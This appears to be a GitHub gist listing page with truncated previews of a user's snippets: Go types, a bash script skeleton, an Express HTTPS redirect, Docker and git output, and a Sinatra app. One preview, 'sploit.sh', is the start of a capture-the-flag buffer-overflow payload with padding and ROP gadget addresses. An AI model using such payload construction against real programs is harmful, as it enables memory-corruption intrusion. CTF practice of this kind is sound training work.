Skip to content

Instantly share code, notes, and snippets.

@b10s
b10s / strain.go
Last active January 12, 2020 10:56
is it possible to have one implementation of method for receiver which may be have multiple types
package strain
//Ints is an array of ints.
type Ints []int
//Strings is an array of strings.
type Strings []string
//Lists is an array of ints' arrays.
type Lists []Ints
package main
import (
"fmt"
"sync"
)
type Fetcher interface {
// Fetch returns the body of URL and
// a slice of URLs found on that page.
@b10s
b10s / leap year
Last active November 20, 2019 13:03
#!/usr/bin/env bash
#
# TODO
# This option will make the script exit when there is an error
set -o errexit
# This option will make the script exit when it tries to use an unset variable
set -o nounset
main () {
@b10s
b10s / sploit.sh
Created September 10, 2019 12:59
nothing more to say, TWCTF
#!/bin/bash
# padding, 64 bytes
perl -e 'print "A"x264';
# pop rdi gadget, 8 bytes
# address: 0x400773
echo -ne '\x73\x07\x40\x00\x00\x00\x00\x00';
# .bss section, 8 bytes
@b10s
b10s / gist:14825eef661eca58f31c5ae2fddd650d
Created June 12, 2019 06:04
node express based app: redirect http to https
...
app.all('*', function(req, res, next){
console.log('req start: ',req.secure, req.hostname, req.url, app.get('port'));
if (req.secure) {
return next();
}
res.redirect('https://'+req.hostname + ':' + app.get('secPort') + req.url);
});
...
$ d images
REPOSITORY TAG IMAGE ID CREATED SIZE
b10s/test app4 2082abcb0e0a 2 weeks ago 336 MB
...
$ d inspect 2082abcb0e0a
[
{
"Id": "sha256:2082abcb0e0a78964ad616b21c3b2af7c905dc33ce9d1316f0c7bddef787148e",
"RepoTags": [
$ d inspect 2082abcb0e0a
[
{
"Id": "sha256:2082abcb0e0a78964ad616b21c3b2af7c905dc33ce9d1316f0c7bddef787148e",
$ git log -1
commit f3cc3ea3076fbf1216f538aa641c64139bd394f6
Author: UAA Identity Bot <identity-uaa+ci@pivotal.io>
Date: Fri Jul 13 22:04:19 2018 +0000
Release v57.4
$ git submodule
ce825ddf71b3d2c0fbc5eec94cb94816e98804f0 src/github.com/cloudfoundry/uaa-key-rotator (0.1.0)
78971006ec1bb7a4831d4ec64c8988883903dd95 src/uaa (4.14.0-85-g7897100)
require "sinatra/base"
public_app = Sinatra.new {
ip = ENV['CF_INSTANCE_IP']
#ip = '10.48.28.53'
p "public ip `#{ip}'"
set :bind, ip
get('/*') do
{ :public => 'public' }
end
$ ls store/shared/foo-cc-packages/
00 06 0c 12 18 1e 24 2a 30 36 3c 42 48 4e 54 5a 60 66 6c 72 78 7e 84 8a 90 96 9c a2 a8 ae b4 ba c0 c6 cc d2 d8 de e4 ea f0 f6 fc
01 07 0d 13 19 1f 25 2b 31 37 3d 43 49 4f 55 5b 61 67 6d 73 79 7f 85 8b 91 97 9d a3 a9 af b5 bb c1 c7 cd d3 d9 df e5 eb f1 f7 fd
02 08 0e 14 1a 20 26 2c 32 38 3e 44 4a 50 56 5c 62 68 6e 74 7a 80 86 8c 92 98 9e a4 aa b0 b6 bc c2 c8 ce d4 da e0 e6 ec f2 f8 fe
03 09 0f 15 1b 21 27 2d 33 39 3f 45 4b 51 57 5d 63 69 6f 75 7b 81 87 8d 93 99 9f a5 ab b1 b7 bd c3 c9 cf d5 db e1 e7 ed f3 f9 ff
04 0a 10 16 1c 22 28 2e 34 3a 40 46 4c 52 58 5e 64 6a 70 76 7c 82 88 8e 94 9a a0 a6 ac b2 b8 be c4 ca d0 d6 dc e2 e8 ee f4 fa
05 0b 11 17 1d 23 29 2f 35 3b 41 47 4d 53 59 5f 65 6b 71 77 7d 83 89 8f 95 9b a1 a7 ad b3 b9 bf c5 cb d1